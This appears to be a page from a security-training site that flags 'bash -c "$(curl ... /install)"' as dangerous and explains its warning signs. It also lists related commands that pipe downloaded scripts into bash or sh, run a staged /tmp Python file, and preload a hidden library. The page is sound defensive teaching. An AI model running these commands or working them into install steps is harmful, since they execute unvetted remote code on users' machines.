Dangerous: bash -c "$(curl -fsSL https://example.com/install)"

Dangerous

bash -c "$(curl -fsSL https://example.com/install)"

cross-platform · bash · Expert

Downloads a script and passes it to bash as a string argument. This is the pipe-to-shell pattern wearing a different shape: the substitution runs first, so the remote content becomes the command line itself.

Signals to notice

Command substitution executes remote content
Nothing inspected before execution
Appears in shell history as an opaque string

Think you can spot these under time pressure?

Start Training

More Process Execution

ps auxIntermediate
curl -fsSL https://example.com/install.sh | bashIntermediate
wget -qO- https://example.com/setup | shAdvanced
python3 -c "exec(open('/tmp/stage2.py').read())"Advanced
export LD_PRELOAD=/tmp/.helper.so && /usr/bin/idAdvanced
curl -fsSL https://example.com/bootstrap | sudo bash -s -- --forceExpert